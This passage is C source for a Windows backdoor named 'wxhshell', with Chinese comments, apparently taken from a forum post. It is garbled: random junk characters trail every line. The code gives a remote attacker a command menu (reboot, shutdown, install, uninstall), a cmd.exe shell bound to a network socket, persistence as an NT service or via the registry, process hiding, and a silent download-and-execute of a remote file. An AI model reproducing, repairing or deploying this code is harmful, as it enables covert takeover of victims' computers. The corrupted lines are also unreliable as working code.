  else { TUoEk  
1o\P7P Le  
    switch(cmd[0]) { .g71?^?(  
  lPyGL-Q  
  // 帮助 .&dW?HS  
  case '?': { oLK-~[p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  (`PgvBL:  
    break; D@ut -J(.  
  } eS(\E0%QI  
  // 安装 h^R EBPe  
  case 'i': { JVbR5"+.  
    if(Install()) s<VNW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^6j: lL  
    else S0( ).2#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m` ^o<V&  
    break; cM%I5F+n  
    } _$%.F| :  
  // 卸载 | Qo`K%8  
  case 'r': { :N$^x /{  
    if(Uninstall()) vgY ) L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <uZ r.X  
    else vw VeHjR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @\0U`*]^)  
    break; 0 `%eP5  
    } \M0-$&[+Z  
  // 显示 wxhshell 所在路径 P34UD:  
  case 'p': { 7(cRm$)L  
    char svExeFile[MAX_PATH]; 1!_$HA  
    strcpy(svExeFile,"\n\r"); [.Vy  
      strcat(svExeFile,ExeFile); Z5 iP1/&D  
        send(wsh,svExeFile,strlen(svExeFile),0); ,:POo^!/fT  
    break;  tKOTQ8i4  
    } $SAq/VHI1]  
  // 重启 Nn<TPT[,  
  case 'b': { wdg,dk9e$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =K'X:UM  
    if(Boot(REBOOT)) \d$fi*{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .l?sYe64S  
    else { C+ar]Vi  
    closesocket(wsh); " &2Kvsz  
    ExitThread(0); r >bMx~a]  
    } {I'8+~|pZL  
    break; FG/".dU  
    } K ZoIjK]  
  // 关机 ~I[Z 2&I  
  case 'd': { zOJ4I^^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KMC]<  
    if(Boot(SHUTDOWN)) rTTde^^_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iAD'MB  
    else { PyQt8Qlz  
    closesocket(wsh); UhKC:<%  
    ExitThread(0); xgoG>~F  
    } | 4/'~cYV  
    break; iUDNm|e  
    } ~D# -i >Z  
  // 获取shell 2;h4$^`dt  
  case 's': { q"){P RTm/  
    CmdShell(wsh); $yxwB/O(  
    closesocket(wsh); d%+oCoeb  
    ExitThread(0); >np!f8+d"q  
    break; >h:rYEsh8V  
  } /}+VH_N1  
  // 退出 \Ps}1)wT  
  case 'x': { cV]c/*z A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kaM=Fk=t  
    CloseIt(wsh); zq]I"0Bi.  
    break; 2I'gT$h  
    } B(tLV9B3Q  
  // 离开 C \"nlNKw  
  case 'q': { )F _vWbg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cGF_|1`  
    closesocket(wsh); wEd+Ds]$  
    WSACleanup(); sG-$d\ 1d  
    exit(1); Ws;S=|9,7~  
    break; ='r86vq  
        } wW2b?b{*Z  
  } "&h{+DHS  
  } co!o+jP  
9!'qLO  
  // 提示信息 f</'=k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]q!,onJ  
} ogD 8qrZ6J  
  } dH]0 (aJ  
a)L\+$@*  
  return; 581Jp'cje  
}  TA;r  
r~f*aD  
// shell模块句柄 /QuuBtp  
int CmdShell(SOCKET sock) &CP0T:h  
{ 9$ GA s  
STARTUPINFO si; as#_Fer`U  
ZeroMemory(&si,sizeof(si)); w:[1,rRvT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vG E;PwR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r 0m A  
PROCESS_INFORMATION ProcessInfo; m~7[fgN2  
char cmdline[]="cmd"; MU_8bK9m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i'XW)n  
  return 0; `D *U@iJ  
} _8zZ.~)  
T}fH  
// 自身启动模式 Nf@-i`  
int StartFromService(void) ;MSdTHN"  
{ 7 2Zp%a=  
typedef struct ~>2DA$Ec  
{ )|52B;yZx  
  DWORD ExitStatus; GFA D  
  DWORD PebBaseAddress; W^U6O&-K  
  DWORD AffinityMask; NT(gXEZ  
  DWORD BasePriority; r.-U=ql  
  ULONG UniqueProcessId; Ug}dw a  
  ULONG InheritedFromUniqueProcessId; Sr$&]R]^  
}   PROCESS_BASIC_INFORMATION; -@*[   
>.sdLA Si  
PROCNTQSIP NtQueryInformationProcess; *=yUs'brB  
K;uOtbdOK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R0 yPmh,{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cXcrb4IKD  
}uZtAH|  
  HANDLE             hProcess; [K5#4k  
  PROCESS_BASIC_INFORMATION pbi; |A .U~P):  
+V2\hq[{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WA'4y\N  
  if(NULL == hInst ) return 0; ;dC>$_P?  
<H; z4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b\{34z,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =`&7pYd,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :A,g:B  
LgG7|\(-  
  if (!NtQueryInformationProcess) return 0; mZ%"""X\Ei  
4O I''i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v@xbur\L  
  if(!hProcess) return 0; `Zdeq.R]  
2YW| /o4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Re[x$rw  
So6ZNh9  
  CloseHandle(hProcess); b\Wlpb=QZ  
j<*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;FQ<4PR$  
if(hProcess==NULL) return 0; k 4HE'WY  
S*aMUV&  
HMODULE hMod; \r.{Ru  
char procName[255]; 9` a1xnL  
unsigned long cbNeeded; Q4H(JD1f)  
h4iz(*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4z;@1nN_8a  
/m"#uC!\  
  CloseHandle(hProcess); pxGDzU  
yuef84~  
if(strstr(procName,"services")) return 1; // 以服务启动 E%.w6-  
{4C/ZA{|l  
  return 0; // 注册表启动 cr wui8  
} sY- ] Q  
T"bH{|:%*=  
// 主模块 bmid;X|  
int StartWxhshell(LPSTR lpCmdLine) fen~k#|l  
{  AhyV  
  SOCKET wsl; jV|j]m&t  
BOOL val=TRUE; ~10>mg  
  int port=0; },]G +L;R  
  struct sockaddr_in door; =/#+,  
_N @ h  
  if(wscfg.ws_autoins) Install(); ;q"Yz-3  
:cE6-Fv  
port=atoi(lpCmdLine); )qID<j#  
D4G*Wz8  
if(port<=0) port=wscfg.ws_port; hx.ln6=4  
~dtS  
  WSADATA data; HL`=zB%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :-[y`/R  
qH=<8Iu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )01,3J>#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^ UDNp.6k  
  door.sin_family = AF_INET; 2 -C*RHRx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IG(1h+5 R(  
  door.sin_port = htons(port); pzcl@  
kq4ii`zi8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8mc0(Z@  
closesocket(wsl); id?B<OM  
return 1; K*/X{3J;  
} c/'Cju W  
+ g*s%^(E  
  if(listen(wsl,2) == INVALID_SOCKET) { <Pnz$nH:e  
closesocket(wsl); /19ZyQw9  
return 1; ]?<=DHn  
} 6Trtulm  
  Wxhshell(wsl); !H^e$BA  
  WSACleanup(); T?4I\SG  
LkwjEJQf  
return 0; sX c|++  
h>:eu#  
} 3UNmUDl[~  
c$fYK  
// 以NT服务方式启动 lP;X=X>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =>m x>R`S  
{ ~Qm<w3oy  
DWORD   status = 0; 'V`Hp$r  
  DWORD   specificError = 0xfffffff; e h6\y7 9g  
v1`*}.#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; + t JEG:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /@O$jlX5I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -tH^Deo  
  serviceStatus.dwWin32ExitCode     = 0; GF/!@N  
  serviceStatus.dwServiceSpecificExitCode = 0; i.5?b/l0  
  serviceStatus.dwCheckPoint       = 0; 8q/3}AnI  
  serviceStatus.dwWaitHint       = 0; S)\Yc=~h  
L#~z#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w|G4c^KH  
  if (hServiceStatusHandle==0) return; tj1M1s|a  
Nu[0X  
status = GetLastError(); it)!-[:bm  
  if (status!=NO_ERROR) )KbzgmLr  
{ v*lj>)L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z1Pdnc7S[  
    serviceStatus.dwCheckPoint       = 0; *p.70,5,  
    serviceStatus.dwWaitHint       = 0; JW2~ G!@  
    serviceStatus.dwWin32ExitCode     = status; ]w5j?h"b  
    serviceStatus.dwServiceSpecificExitCode = specificError; _qp^+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VSDG_:!K  
    return; JBMJR  
  } ,&ld:v?~  
rk)h_zN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -VafN   
  serviceStatus.dwCheckPoint       = 0; \(4kEB2s$  
  serviceStatus.dwWaitHint       = 0; @\?QZX(H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "~,3gNTzV  
} %SC%#_7  
1$RUhxT  
// 处理NT服务事件,比如:启动、停止 :YUQKy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GS qt:<Qs  
{ V+>.Gf  
switch(fdwControl) pRc<U^Z.h  
{ =%ry-n G  
case SERVICE_CONTROL_STOP: ;a9`z+ K  
  serviceStatus.dwWin32ExitCode = 0; ;NPbEPL[5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  )k6O  
  serviceStatus.dwCheckPoint   = 0; P^-daRb  
  serviceStatus.dwWaitHint     = 0; #,jw! HO]  
  { ~\o hH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \wb0%> 0  
  } e .(  
  return; iji2gWV}h  
case SERVICE_CONTROL_PAUSE: H6 V!W\:s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +AkMU|6  
  break; bPMkBm  
case SERVICE_CONTROL_CONTINUE: gbr-C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +sm9H"_0  
  break; @q++eGm\Q  
case SERVICE_CONTROL_INTERROGATE: c W^  
  break; _@A%t&l  
}; c 0.? d]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !McRtxq?~  
} `Qxdb1>mjY  
.?dYY;P  
// 标准应用程序主函数 vcz?;lg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0UN65JBuD  
{ %(d0`9  
+et)!2N  
// 获取操作系统版本 f~Ve7   
OsIsNt=GetOsVer(); ?3; 0 SAh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x~n]r[!L  
3x3 =ke!  
  // 从命令行安装 v?<Tkw ^F  
  if(strpbrk(lpCmdLine,"iI")) Install(); "3e1 7dsY  
2&KM&NX~  
  // 下载执行文件 2E_d$nsJ  
if(wscfg.ws_downexe) { D]*<J"/]d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <:!;79T\  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7&Qf))L  
} b6ui&Y8z  
!Jk|ha~r  
if(!OsIsNt) { h%+6 y  
// 如果时win9x,隐藏进程并且设置为注册表启动 Tp&7CNl|  
HideProc(); TBu[3X%  
StartWxhshell(lpCmdLine); Xb\de_8!  
} $I4:g.gKpG  
else yl UkVr   
  if(StartFromService()) S E0&CV4  
  // 以服务方式启动 i_ z4;%#?  
  StartServiceCtrlDispatcher(DispatchTable); WOR H4h9  
else @*"H{xo.U  
  // 普通方式启动 ~F^7L5d}C  
  StartWxhshell(lpCmdLine); BaXf=RsZ  
=P7!6V\f  
return 0; [;,Xp/  
}
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只看该作者 1 发表于: 2006-10-10
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